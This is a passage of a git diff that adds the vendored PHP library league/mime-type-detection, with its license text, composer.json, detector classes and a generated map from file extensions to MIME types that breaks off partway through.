+copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/league/mime-type-detection/composer.json b/vendor/league/mime-type-detection/composer.json new file mode 100644 index 0000000..19a62a7 --- /dev/null +++ b/vendor/league/mime-type-detection/composer.json @@ -0,0 +1,24 @@ +{ + "name": "league/mime-type-detection", + "description": "Mime-type detection for Flysystem", + "license": "MIT", + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "require": { + "php": "^7.2 || ^8.0", + "ext-fileinfo": "*" + }, + "require-dev": { + "phpunit/phpunit": "^8.5.8", + "phpstan/phpstan": "^0.12.36" + }, + "autoload": { + "psr-4": { + "League\\MimeTypeDetection\\": "src" + } + } +} diff --git a/vendor/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php b/vendor/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php new file mode 100644 index 0000000..fc04241 --- /dev/null +++ b/vendor/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php @@ -0,0 +1,13 @@ +extensions = $extensions ?: new GeneratedExtensionToMimeTypeMap(); + } + + public function detectMimeType(string $path, $contents): ?string + { + return $this->detectMimeTypeFromPath($path); + } + + public function detectMimeTypeFromPath(string $path): ?string + { + $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION)); + + return $this->extensions->lookupMimeType($extension); + } + + public function detectMimeTypeFromFile(string $path): ?string + { + return $this->detectMimeTypeFromPath($path); + } + + public function detectMimeTypeFromBuffer(string $contents): ?string + { + return null; + } +} diff --git a/vendor/league/mime-type-detection/src/ExtensionToMimeTypeMap.php b/vendor/league/mime-type-detection/src/ExtensionToMimeTypeMap.php new file mode 100644 index 0000000..1dad7bc --- /dev/null +++ b/vendor/league/mime-type-detection/src/ExtensionToMimeTypeMap.php @@ -0,0 +1,10 @@ +finfo = new finfo(FILEINFO_MIME_TYPE, $magicFile); + $this->extensionMap = $extensionMap ?: new GeneratedExtensionToMimeTypeMap(); + } + + public function detectMimeType(string $path, $contents): ?string + { + $mimeType = is_string($contents) + ? (@$this->finfo->buffer($contents) ?: null) + : null; + + if ($mimeType !== null && ! in_array($mimeType, self::INCONCLUSIVE_MIME_TYPES)) { + return $mimeType; + } + + return $this->detectMimeTypeFromPath($path); + } + + public function detectMimeTypeFromPath(string $path): ?string + { + $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION)); + + return $this->extensionMap->lookupMimeType($extension); + } + + public function detectMimeTypeFromFile(string $path): ?string + { + return @$this->finfo->file($path) ?: null; + } + + public function detectMimeTypeFromBuffer(string $contents): ?string + { + return @$this->finfo->buffer($contents) ?: null; + } +} + diff --git a/vendor/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php b/vendor/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php new file mode 100644 index 0000000..a208647 --- /dev/null +++ b/vendor/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php @@ -0,0 +1,1207 @@ + 'application/vnd.1000minds.decision-model+xml', + '3dml' => 'text/vnd.in3d.3dml', + '3ds' => 'image/x-3ds', + '3g2' => 'video/3gpp2', + '3gp' => 'video/3gp', + '3gpp' => 'video/3gpp', + '3mf' => 'model/3mf', + '7z' => 'application/x-7z-compressed', + '7zip' => 'application/x-7z-compressed', + '123' => 'application/vnd.lotus-1-2-3', + 'aab' => 'application/x-authorware-bin', + 'aac' => 'audio/x-acc', + 'aam' => 'application/x-authorware-map', + 'aas' => 'application/x-authorware-seg', + 'abw' => 'application/x-abiword', + 'ac' => 'application/vnd.nokia.n-gage.ac+xml', + 'ac3' => 'audio/ac3', + 'acc' => 'application/vnd.americandynamics.acc', + 'ace' => 'application/x-ace-compressed', + 'acu' => 'application/vnd.acucobol', + 'acutc' => 'application/vnd.acucorp', + 'adp' => 'audio/adpcm', + 'aep' => 'application/vnd.audiograph', + 'afm' => 'application/x-font-type1', + 'afp' => 'application/vnd.ibm.modcap', + 'ahead' => 'application/vnd.ahead.space', + 'ai' => 'application/pdf', + 'aif' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'air' => 'application/vnd.adobe.air-application-installer-package+zip', + 'ait' => 'application/vnd.dvb.ait', + 'ami' => 'application/vnd.amiga.ami', + 'apk' => 'application/vnd.android.package-archive', + 'apng' => 'image/apng', + 'appcache' => 'text/cache-manifest', + 'application' => 'application/x-ms-application', + 'apr' => 'application/vnd.lotus-approach', + 'arc' => 'application/x-freearc', + 'arj' => 'application/x-arj', + 'asc' => 'application/pgp-signature', + 'asf' => 'video/x-ms-asf', + 'asm' => 'text/x-asm', + 'aso' => 'application/vnd.accpac.simply.aso', + 'asx' => 'video/x-ms-asf', + 'atc' => 'application/vnd.acucorp', + 'atom' => 'application/atom+xml', + 'atomcat' => 'application/atomcat+xml', + 'atomdeleted' => 'application/atomdeleted+xml', + 'atomsvc' => 'application/atomsvc+xml', + 'atx' => 'application/vnd.antix.game-component', + 'au' => 'audio/x-au', + 'avi' => 'video/x-msvideo', + 'avif' => 'image/avif', + 'aw' => 'application/applixware', + 'azf' => 'application/vnd.airzip.filesecure.azf', + 'azs' => 'application/vnd.airzip.filesecure.azs', + 'azv' => 'image/vnd.airzip.accelerator.azv', + 'azw' => 'application/vnd.amazon.ebook', + 'b16' => 'image/vnd.pco.b16', + 'bat' => 'application/x-msdownload', + 'bcpio' => 'application/x-bcpio', + 'bdf' => 'application/x-font-bdf', + 'bdm' => 'application/vnd.syncml.dm+wbxml', + 'bdoc' => 'application/x-bdoc', + 'bed' => 'application/vnd.realvnc.bed', + 'bh2' => 'application/vnd.fujitsu.oasysprs', + 'bin' => 'application/octet-stream', + 'blb' => 'application/x-blorb', + 'blorb' => 'application/x-blorb', + 'bmi' => 'application/vnd.bmi', + 'bmml' => 'application/vnd.balsamiq.bmml+xml', + 'bmp' => 'image/bmp', + 'book' => 'application/vnd.framemaker', + 'box' => 'application/vnd.previewsystems.box', + 'boz' => 'application/x-bzip2', + 'bpk' => 'application/octet-stream', + 'bpmn' => 'application/octet-stream', + 'bsp' => 'model/vnd.valve.source.compiled-map', + 'btif' => 'image/prs.btif', + 'buffer' => 'application/octet-stream', + 'bz' => 'application/x-bzip', + 'bz2' => 'application/x-bzip2', + 'c' => 'text/x-c', + 'c4d' => 'application/vnd.clonk.c4group', + 'c4f' => 'application/vnd.clonk.c4group', + 'c4g' => 'application/vnd.clonk.c4group', + 'c4p' => 'application/vnd.clonk.c4group', + 'c4u' => 'application/vnd.clonk.c4group', + 'c11amc' => 'application/vnd.cluetrust.cartomobile-config', + 'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg', + 'cab' => 'application/vnd.ms-cab-compressed', + 'caf' => 'audio/x-caf', + 'cap' => 'application/vnd.tcpdump.pcap', + 'car' => 'application/vnd.curl.car', + 'cat' => 'application/vnd.ms-pki.seccat', + 'cb7' => 'application/x-cbr', + 'cba' => 'application/x-cbr', + 'cbr' => 'application/x-cbr', + 'cbt' => 'application/x-cbr', + 'cbz' => 'application/x-cbr', + 'cc' => 'text/x-c', + 'cco' => 'application/x-cocoa', + 'cct' => 'application/x-director', + 'ccxml' => 'application/ccxml+xml', + 'cdbcmsg' => 'application/vnd.contact.cmsg', + 'cdf' => 'application/x-netcdf', + 'cdfx' => 'application/cdfx+xml', + 'cdkey' => 'application/vnd.mediastation.cdkey', + 'cdmia' => 'application/cdmi-capability', + 'cdmic' => 'application/cdmi-container', + 'cdmid' => 'application/cdmi-domain', + 'cdmio' => 'application/cdmi-object', + 'cdmiq' => 'application/cdmi-queue', + 'cdr' => 'application/cdr', + 'cdx' => 'chemical/x-cdx', + 'cdxml' => 'application/vnd.chemdraw+xml', + 'cdy' => 'application/vnd.cinderella', + 'cer' => 'application/pkix-cert', + 'cfs' => 'application/x-cfs-compressed', + 'cgm' => 'image/cgm', + 'chat' => 'application/x-chat', + 'chm' => 'application/vnd.ms-htmlhelp', + 'chrt' => 'application/vnd.kde.kchart', + 'cif' => 'chemical/x-cif', + 'cii' => 'application/vnd.anser-web-certificate-issue-initiation', + 'cil' => 'application/vnd.ms-artgalry', + 'cjs' => 'application/node', + 'cla' => 'application/vnd.claymore', + 'class' => 'application/octet-stream', + 'clkk' => 'application/vnd.crick.clicker.keyboard', + 'clkp' => 'application/vnd.crick.clicker.palette', + 'clkt' => 'application/vnd.crick.clicker.template', + 'clkw' => 'application/vnd.crick.clicker.wordbank', + 'clkx' => 'application/vnd.crick.clicker', + 'clp' => 'application/x-msclip', + 'cmc' => 'application/vnd.cosmocaller', + 'cmdf' => 'chemical/x-cmdf', + 'cml' => 'chemical/x-cml', + 'cmp' => 'application/vnd.yellowriver-custom-menu', + 'cmx' => 'image/x-cmx', + 'cod' => 'application/vnd.rim.cod', + 'coffee' => 'text/coffeescript', + 'com' => 'application/x-msdownload', + 'conf' => 'text/plain', + 'cpio' => 'application/x-cpio', + 'cpp' => 'text/x-c', + 'cpt' => 'application/mac-compactpro', + 'crd' => 'application/x-mscardfile', + 'crl' => 'application/pkix-crl', + 'crt' => 'application/x-x509-ca-cert', + 'crx' => 'application/x-chrome-extension', + 'cryptonote' => 'application/vnd.rig.cryptonote', + 'csh' => 'application/x-csh', + 'csl' => 'application/vnd.citationstyles.style+xml', + 'csml' => 'chemical/x-csml', + 'csp' => 'application/vnd.commonspace', + 'csr' => 'application/octet-stream', + 'css' => 'text/css', + 'cst' => 'application/x-director', + 'csv' => 'text/csv', + 'cu' => 'application/cu-seeme', + 'curl' => 'text/vnd.curl', + 'cww' => 'application/prs.cww', + 'cxt' => 'application/x-director', + 'cxx' => 'text/x-c', + 'dae' => 'model/vnd.collada+xml', + 'daf' => 'application/vnd.mobius.daf', + 'dart' => 'application/vnd.dart', + 'dataless' => 'application/vnd.fdsn.seed', + 'davmount' => 'application/davmount+xml', + 'dbf' => 'application/vnd.dbf', + 'dbk' => 'application/docbook+xml', + 'dcr' => 'application/x-director', + 'dcurl' => 'text/vnd.curl.dcurl', + 'dd2' => 'application/vnd.oma.dd2+xml', + 'ddd' => 'application/vnd.fujixerox.ddd', + 'ddf' => 'application/vnd.syncml.dmddf+xml', + 'dds' => 'image/vnd.ms-dds', + 'deb' => 'application/x-debian-package', + 'def' => 'text/plain', + 'deploy' => 'application/octet-stream', + 'der' => 'application/x-x509-ca-cert', + 'dfac' => 'application/vnd.dreamfactory', + 'dgc' => 'application/x-dgc-compressed', + 'dic' => 'text/x-c', + 'dir' => 'application/x-director', + 'dis' => 'application/vnd.mobius.dis', + 'disposition-notification' => 'message/disposition-notification', + 'dist' => 'application/octet-stream', + 'distz' => 'application/octet-stream', + 'djv' => 'image/vnd.djvu', + 'djvu' => 'image/vnd.djvu', + 'dll' => 'application/octet-stream', + 'dmg' => 'application/x-apple-diskimage', + 'dmn' => 'application/octet-stream', + 'dmp' => 'application/vnd.tcpdump.pcap', + 'dms' => 'application/octet-stream', + 'dna' => 'application/vnd.dna', + 'doc' => 'application/msword', + 'docm' => 'application/vnd.ms-word.template.macroEnabled.12', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'dot' => 'application/msword', + 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', + 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'dp' => 'application/vnd.osgi.dp', + 'dpg' => 'application/vnd.dpgraph', + 'dra' => 'audio/vnd.dra', + 'drle' => 'image/dicom-rle', + 'dsc' => 'text/prs.lines.tag', + 'dssc' => 'application/dssc+der', + 'dtb' => 'application/x-dtbook+xml', + 'dtd' => 'application/xml-dtd', + 'dts' => 'audio/vnd.dts', + 'dtshd' => 'audio/vnd.dts.hd', + 'dump' => 'application/octet-stream', + 'dvb' => 'video/vnd.dvb.file', + 'dvi' => 'application/x-dvi', + 'dwd' => 'application/atsc-dwd+xml', + 'dwf' => 'model/vnd.dwf', + 'dwg' => 'image/vnd.dwg', + 'dxf' => 'image/vnd.dxf', + 'dxp' => 'application/vnd.spotfire.dxp', + 'dxr' => 'application/x-director', + 'ear' => 'application/java-archive', + 'ecelp4800' => 'audio/vnd.nuera.ecelp4800', + 'ecelp7470' => 'audio/vnd.nuera.ecelp7470', + 'ecelp9600' => 'audio/vnd.nuera.ecelp9600', + 'ecma' => 'application/ecmascript', + 'edm' => 'application/vnd.novadigm.edm', + 'edx' => 'application/vnd.novadigm.edx', + 'efif' => 'application/vnd.picsel', + 'ei6' => 'application/vnd.pg.osasli', + 'elc' => 'application/octet-stream', + 'emf' => 'image/emf', + 'eml' => 'message/rfc822', + 'emma' => 'application/emma+xml', + 'emotionml' => 'application/emotionml+xml', + 'emz' => 'application/x-msmetafile', + 'eol' => 'audio/vnd.digital-winds', + 'eot' => 'application/vnd.ms-fontobject', + 'eps' => 'application/postscript', + 'epub' => 'application/epub+zip', + 'es' => 'application/ecmascript', + 'es3' => 'application/vnd.eszigno3+xml', + 'esa' => 'application/vnd.osgi.subsystem', + 'esf' => 'application/vnd.epson.esf', + 'et3' => 'application/vnd.eszigno3+xml', + 'etx' => 'text/x-setext', + 'eva' => 'application/x-eva', + 'evy' => 'application/x-envoy', + 'exe' => 'application/octet-stream', + 'exi' => 'application/exi', + 'exr' => 'image/aces', + 'ext' => 'application/vnd.novadigm.ext', + 'ez' => 'application/andrew-inset', + 'ez2' => 'application/vnd.ezpix-album', + 'ez3' => 'application/vnd.ezpix-package', + 'f' => 'text/x-fortran', + 'f4v' => 'video/mp4', + 'f77' => 'text/x-fortran', + 'f90' => 'text/x-fortran', + 'fbs' => 'image/vnd.fastbidsheet', + 'fcdt' => 'application/vnd.adobe.formscentral.fcdt', + 'fcs' => 'application/vnd.isac.fcs', + 'fdf' => 'application/vnd.fdf', + 'fdt' => 'application/fdt+xml', + 'fe_launch' => 'application/vnd.denovo.fcselayout-link', + 'fg5' => 'application/vnd.fujitsu.oasysgp', + 'fgd' => 'application/x-director', + 'fh' => 'image/x-freehand', + 'fh4' => 'image/x-freehand', + 'fh5' => 'image/x-freehand', + 'fh7' => 'image/x-freehand', + 'fhc' => 'image/x-freehand', + 'fig' => 'application/x-xfig', + 'fits' => 'image/fits', + 'flac' => 'audio/x-flac', + 'fli' => 'video/x-fli', + 'flo' => 'application/vnd.micrografx.flo', + 'flv' => 'video/x-flv', + 'flw' => 'application/vnd.kde.kivio', + 'flx' => 'text/vnd.fmi.flexstor', + 'fly' => 'text/vnd.fly', + 'fm' => 'application/vnd.framemaker', + 'fnc' => 'application/vnd.frogans.fnc', + 'fo' => 'application/vnd.software602.filler.form+xml', + 'for' => 'text/x-fortran', + 'fpx' => 'image/vnd.fpx', + 'frame' => 'application/vnd.framemaker', + 'fsc' => 'application/vnd.fsc.weblaunch', + 'fst' => 'image/vnd.fst', + 'ftc' => 'application/vnd.fluxtime.clip', + 'fti' => 'application/vnd.anser-web-funds-transfer-initiation', + 'fvt' => 'video/vnd.fvt', + 'fxp' => 'application/vnd.adobe.fxp', + 'fxpl' => 'application/vnd.adobe.fxp', + 'fzs' => 'application/vnd.fuzzysheet', + 'g2w' => 'application/vnd.geoplan', + 'g3' => 'image/g3fax', + 'g3w' => 'application/vnd.geospace', + 'gac' => 'application/vnd.groove-account', + 'gam' => 'application/x-tads', + 'gbr' => 'application/rpki-ghostbusters', + 'gca' => 'application/x-gca-compressed', + 'gdl' => 'model/vnd.gdl', + 'gdoc' => 'application/vnd.google-apps.document', + 'geo' => 'application/vnd.dynageo', + 'geojson' => 'application/geo+json', + 'gex' => 'application/vnd.geometry-explorer', + 'ggb' => 'application/vnd.geogebra.file', + 'ggt' => 'application/vnd.geogebra.tool', + 'ghf' => 'application/vnd.groove-help', + 'gif' => 'image/gif', + 'gim' => 'application/vnd.groove-identity-message', + 'glb' => 'model/gltf-binary', + 'gltf' => 'model/gltf+json', + 'gml' => 'application/gml+xml', + 'gmx' => 'application/vnd.gmx', + 'gnumeric' => 'application/x-gnumeric', + 'gpg' => 'application/gpg-keys', + 'gph' => 'application/vnd.flographit', + 'gpx' => 'application/gpx+xml', + 'gqf' => 'application/vnd.grafeq', + 'gqs' => 'application/vnd.grafeq', + 'gram' => 'application/srgs', + 'gramps' => 'application/x-gramps-xml', + 'gre' => 'application/vnd.geometry-explorer', + 'grv' => 'application/vnd.groove-injector', + 'grxml' => 'application/srgs+xml', + 'gsf' => 'application/x-font-ghostscript', + 'gsheet' => 'application/vnd.google-apps.spreadsheet', + 'gslides' => 'application/vnd.google-apps.presentation', + 'gtar' => 'application/x-gtar', + 'gtm' => 'application/vnd.groove-tool-message', + 'gtw' => 'model/vnd.gtw', + 'gv' => 'text/vnd.graphviz', + 'gxf' => 'application/gxf', + 'gxt' => 'application/vnd.geonext', + 'gz' => 'application/x-gzip', + 'gzip' => 'application/x-gzip', + 'h' => 'text/x-c', + 'h261' => 'video/h261', + 'h263' => 'video/h263', + 'h264' => 'video/h264', + 'hal' => 'application/vnd.hal+xml', + 'hbci' => 'application/vnd.hbci', + 'hbs' => 'text/x-handlebars-template', + 'hdd' => 'application/x-virtualbox-hdd', + 'hdf' => 'application/x-hdf', + 'heic' => 'image/heic', + 'heics' => 'image/heic-sequence', + 'heif' => 'image/heif', + 'heifs' => 'image/heif-sequence', + 'hej2' => 'image/hej2k', + 'held' => 'application/atsc-held+xml', + 'hh' => 'text/x-c', + 'hjson' => 'application/hjson', + 'hlp' => 'application/winhlp', + 'hpgl' => 'application/vnd.hp-hpgl', + 'hpid' => 'application/vnd.hp-hpid', + 'hps' => 'application/vnd.hp-hps', + 'hqx' => 'application/mac-binhex40', + 'hsj2' => 'image/hsj2', + 'htc' => 'text/x-component', + 'htke' => 'application/vnd.kenameaapp', + 'htm' => 'text/html', + 'html' => 'text/html', + 'hvd' => 'application/vnd.yamaha.hv-dic', + 'hvp' => 'application/vnd.yamaha.hv-voice', + 'hvs' => 'application/vnd.yamaha.hv-script', + 'i2g' => 'application/vnd.intergeo', + 'icc' => 'application/vnd.iccprofile', + 'ice' => 'x-conference/x-cooltalk', + 'icm' => 'application/vnd.iccprofile', + 'ico' => 'image/x-icon', + 'ics' => 'text/calendar', + 'ief' => 'image/ief', + 'ifb' => 'text/calendar', + 'ifm' => 'application/vnd.shana.informed.formdata', + 'iges' => 'model/iges', + 'igl' => 'application/vnd.igloader', + 'igm' => 'application/vnd.insors.igm', + 'igs' => 'model/iges', + 'igx' => 'application/vnd.micrografx.igx', + 'iif' => 'application/vnd.shana.informed.interchange', + 'img' => 'application/octet-stream', + 'imp' => 'application/vnd.accpac.simply.imp', + 'ims' => 'application/vnd.ms-ims', + 'in' => 'text/plain', + 'ini' => 'text/plain', + 'ink' => 'application/inkml+xml', + 'inkml' => 'application/inkml+xml', + 'install' => 'application/x-install-instructions', + 'iota' => 'application/vnd.astraea-software.iota', + 'ipfix' => 'application/ipfix', + 'ipk' => 'application/vnd.shana.informed.package', + 'irm' => 'application/vnd.ibm.rights-management', + 'irp' => 'application/vnd.irepository.package+xml', + 'iso' => 'application/x-iso9660-image', + 'itp' => 'application/vnd.shana.informed.formtemplate', + 'its' => 'application/its+xml', + 'ivp' => 'application/vnd.immervision-ivp', + 'ivu' => 'application/vnd.immervision-ivu', + 'jad' => 'text/vnd.sun.j2me.app-descriptor', + 'jade' => 'text/jade', + 'jam' => 'application/vnd.jam', + 'jar' => 'application/java-archive', + 'jardiff' => 'application/x-java-archive-diff', + 'java' => 'text/x-java-source', + 'jhc' => 'image/jphc', + 'jisp' => 'application/vnd.jisp', + 'jls' => 'image/jls', + 'jlt' => 'application/vnd.hp-jlyt', + 'jng' => 'image/x-jng', + 'jnlp' => 'application/x-java-jnlp-file', + 'joda' => 'application/vnd.joost.joda-archive', + 'jp2' => 'image/jp2', + 'jpe' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpf' => 'image/jpx', + 'jpg' => 'image/jpeg', + 'jpg2' => 'image/jp2', + 'jpgm' => 'video/jpm', + 'jpgv' => 'video/jpeg', + 'jph' => 'image/jph', + 'jpm' => 'video/jpm', + 'jpx' => 'image/jpx', + 'js' => 'application/javascript', + 'json' => 'application/json', + 'json5' => 'application/json5', + 'jsonld' => 'application/ld+json', + 'jsonml' => 'application/jsonml+json', + 'jsx' => 'text/jsx', + 'jxr' => 'image/jxr', + 'jxra' => 'image/jxra', + 'jxrs' => 'image/jxrs', + 'jxs' => 'image/jxs', + 'jxsc' => 'image/jxsc', + 'jxsi' => 'image/jxsi', + 'jxss' => 'image/jxss', + 'kar' => 'audio/midi', + 'karbon' => 'application/vnd.kde.karbon', + 'kdb' => 'application/octet-stream', + 'kdbx' => 'application/x-keepass2', + 'key' => 'application/vnd.apple.keynote', + 'kfo' => 'application/vnd.kde.kformula', + 'kia' => 'application/vnd.kidspiration', + 'kml' => 'application/vnd.google-earth.kml+xml', + 'kmz' => 'application/vnd.google-earth.kmz', + 'kne' => 'application/vnd.kinar', + 'knp' => 'application/vnd.kinar', + 'kon' => 'application/vnd.kde.kontour', + 'kpr' => 'application/vnd.kde.kpresenter', + 'kpt' => 'application/vnd.kde.kpresenter', + 'kpxx' => 'application/vnd.ds-keypoint', + 'ksp' => 'application/vnd.kde.kspread', + 'ktr' => 'application/vnd.kahootz', + 'ktx' => 'image/ktx', + 'ktx2' => 'image/ktx2', + 'ktz' => 'application/vnd.kahootz', + 'kwd' => 'application/vnd.kde.kword', + 'kwt' => 'application/vnd.kde.kword', + 'lasxml' => 'application/vnd.las.las+xml', + 'latex' => 'application/x-latex', + 'lbd' => 'application/vnd.llamagraphics.life-balance.desktop', + 'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml', + 'les' => 'application/vnd.hhe.lesson-player', + 'less' => 'text/less', + 'lgr' => 'application/lgr+xml', + 'lha' => 'application/octet-stream', + 'link66' => 'application/vnd.route66.link66+xml', + 'list' => 'text/plain', + 'list3820' => 'application/vnd.ibm.modcap', + 'listafp' => 'application/vnd.ibm.modcap', + 'litcoffee' => 'text/coffeescript', + 'lnk' => 'application/x-ms-shortcut', + 'log' => 'text/plain', + 'lostxml' => 'application/lost+xml', + 'lrf' => 'application/octet-stream', + 'lrm' => 'application/vnd.ms-lrm', + 'ltf' => 'application/vnd.frogans.ltf', + 'lua' => 'text/x-lua', + 'luac' => 'application/x-lua-bytecode', + 'lvp' => 'audio/vnd.lucent.voice', + 'lwp' => 'application/vnd.lotus-wordpro', + 'lzh' => 'application/octet-stream', + 'm1v' => 'video/mpeg', + 'm2a' => 'audio/mpeg', + 'm2v' => 'video/mpeg', + 'm3a' => 'audio/mpeg', + 'm3u' => 'text/plain', + 'm3u8' => 'application/vnd.apple.mpegurl', + 'm4a' => 'audio/x-m4a', + 'm4p' => 'application/mp4', + 'm4u' => 'application/vnd.mpegurl', + 'm4v' => 'video/x-m4v', + 'm13' => 'application/x-msmediaview', + 'm14' => 'application/x-msmediaview', + 'm21' => 'application/mp21', + 'ma' => 'application/mathematica', + 'mads' => 'application/mads+xml', + 'maei' => 'application/mmt-aei+xml', + 'mag' => 'application/vnd.ecowin.chart', + 'maker' => 'application/vnd.framemaker', + 'man' => 'text/troff', + 'manifest' => 'text/cache-manifest', + 'map' => 'application/json', + 'mar' => 'application/octet-stream', + 'markdown' => 'text/markdown', + 'mathml' => 'application/mathml+xml', + 'mb' => 'application/mathematica', + 'mbk' => 'application/vnd.mobius.mbk', + 'mbox' => 'application/mbox', + 'mc1' => 'application/vnd.medcalcdata', + 'mcd' => 'application/vnd.mcd', + 'mcurl' => 'text/vnd.curl.mcurl', + 'md' => 'text/markdown', + 'mdb' => 'application/x-msaccess', + 'mdi' => 'image/vnd.ms-modi', + 'mdx' => 'text/mdx', + 'me' => 'text/troff', + 'mesh' => 'model/mesh', + 'meta4' => 'application/metalink4+xml', + 'metalink' => 'application/metalink+xml', + 'mets' => 'application/mets+xml', + 'mfm' => 'application/vnd.mfmp', + 'mft' => 'application/rpki-manifest', + 'mgp' => 'application/vnd.osgeo.mapguide.package', + 'mgz' => 'application/vnd.proteus.magazine', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mie' => 'application/x-mie', + 'mif' => 'application/vnd.mif', + 'mime' => 'message/rfc822', + 'mj2' => 'video/mj2', + 'mjp2' => 'video/mj2', + 'mjs' => 'application/javascript', + 'mk3d' => 'video/x-matroska', + 'mka' => 'audio/x-matroska', + 'mkd' => 'text/x-markdown', + 'mks' => 'video/x-matroska', + 'mkv' => 'video/x-matroska', + 'mlp' => 'application/vnd.dolby.mlp', + 'mmd' => 'application/vnd.chipnuts.karaoke-mmd', + 'mmf' => 'application/vnd.smaf', + 'mml' => 'text/mathml', + 'mmr' => 'image/vnd.fujixerox.edmics-mmr', + 'mng' => 'video/x-mng', + 'mny' => 'application/x-msmoney', + 'mobi' => 'application/x-mobipocket-ebook', + 'mods' => 'application/mods+xml', + 'mov' => 'video/quicktime', + 'movie' => 'video/x-sgi-movie', + 'mp2' => 'audio/mpeg', + 'mp2a' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'mp4' => 'video/mp4', + 'mp4a' => 'audio/mp4', + 'mp4s' => 'application/mp4', + 'mp4v' => 'video/mp4', + 'mp21' => 'application/mp21', + 'mpc' => 'application/vnd.mophun.certificate', + 'mpd' => 'application/dash+xml', + 'mpe' => 'video/mpeg', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpg4' => 'video/mp4', + 'mpga' => 'audio/mpeg', + 'mpkg' => 'application/vnd.apple.installer+xml', + 'mpm' => 'application/vnd.blueice.multipass', + 'mpn' => 'application/vnd.mophun.application', + 'mpp' => 'application/vnd.ms-project', + 'mpt' => 'application/vnd.ms-project', + 'mpy' => 'application/vnd.ibm.minipay', + 'mqy' => 'application/vnd.mobius.mqy', + 'mrc' => 'application/marc', + 'mrcx' => 'application/marcxml+xml', + 'ms' => 'text/troff', + 'mscml' => 'application/mediaservercontrol+xml', + 'mseed' => 'application/vnd.fdsn.mseed', + 'mseq' => 'application/vnd.mseq', + 'msf' => 'application/vnd.epson.msf', + 'msg' => 'application/vnd.ms-outlook', + 'msh' => 'model/mesh', + 'msi' => 'application/x-msdownload', + 'msl' => 'application/vnd.mobius.msl', + 'msm' => 'application/octet-stream', + 'msp' => 'application/octet-stream', + 'msty' => 'application/vnd.muvee.style', + 'mtl' => 'model/mtl', + 'mts' => 'model/vnd.mts', + 'mus' => 'application/vnd.musician', + 'musd' => 'application/mmt-usd+xml', + 'musicxml' => 'application/vnd.recordare.musicxml+xml', + 'mvb' => 'application/x-msmediaview', + 'mwf' => 'application/vnd.mfer', + 'mxf' => 'application/mxf', + 'mxl' => 'application/vnd.recordare.musicxml', + 'mxmf' => 'audio/mobile-xmf', + 'mxml' => 'application/xv+xml', + 'mxs' => 'application/vnd.triscape.mxs', + 'mxu' => 'video/vnd.mpegurl', + 'n-gage' => 'application/vnd.nokia.n-gage.symbian.install', + 'n3' => 'text/n3', + 'nb' => 'application/mathematica', + 'nbp' => 'application/vnd.wolfram.player', + 'nc' => 'application/x-netcdf', + 'ncx' => 'application/x-dtbncx+xml', + 'nfo' => 'text/x-nfo', + 'ngdat' => 'application/vnd.nokia.n-gage.data', + 'nitf' => 'application/vnd.nitf', + 'nlu' => 'application/vnd.neurolanguage.nlu', + 'nml' => 'application/vnd.enliven', + 'nnd' => 'application/vnd.noblenet-directory', + 'nns' => 'application/vnd.noblenet-sealer', + 'nnw' => 'application/vnd.noblenet-web', + 'npx' => 'image/vnd.net-fpx', + 'nq' => 'application/n-quads', + 'nsc' => 'application/x-conference', + 'nsf' => 'application/vnd.lotus-notes', + 'nt' => 'application/n-triples', + 'ntf' => 'application/vnd.nitf', + 'numbers' => 'application/vnd.apple.numbers', + 'nzb' => 'application/x-nzb', + 'oa2' => 'application/vnd.fujitsu.oasys2', + 'oa3' => 'application/vnd.fujitsu.oasys3', + 'oas' => 'application/vnd.fujitsu.oasys', + 'obd' => 'application/x-msbinder', + 'obgx' => 'application/vnd.openblox.game+xml', + 'obj' => 'model/obj', + 'oda' => 'application/oda', + 'odb' => 'application/vnd.oasis.opendocument.database', + 'odc' => 'application/vnd.oasis.opendocument.chart', + 'odf' => 'application/vnd.oasis.opendocument.formula', + 'odft' => 'application/vnd.oasis.opendocument.formula-template', + 'odg' => 'application/vnd.oasis.opendocument.graphics', + 'odi' => 'application/vnd.oasis.opendocument.image', + 'odm' => 'application/vnd.oasis.opendocument.text-master', + 'odp' => 'application/vnd.oasis.opendocument.presentation', + 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', + 'odt' => 'application/vnd.oasis.opendocument.text', + 'oga' => 'audio/ogg', + 'ogex' => 'model/vnd.opengex', + 'ogg' => 'audio/ogg', + 'ogv' => 'video/ogg', + 'ogx' => 'application/ogg', + 'omdoc' => 'application/omdoc+xml', + 'onepkg' => 'application/onenote', + 'onetmp' => 'application/onenote', + 'onetoc' => 'application/onenote', + 'onetoc2' => 'application/onenote', + 'opf' => 'application/oebps-package+xml', + 'opml' => 'text/x-opml', + 'oprc' => 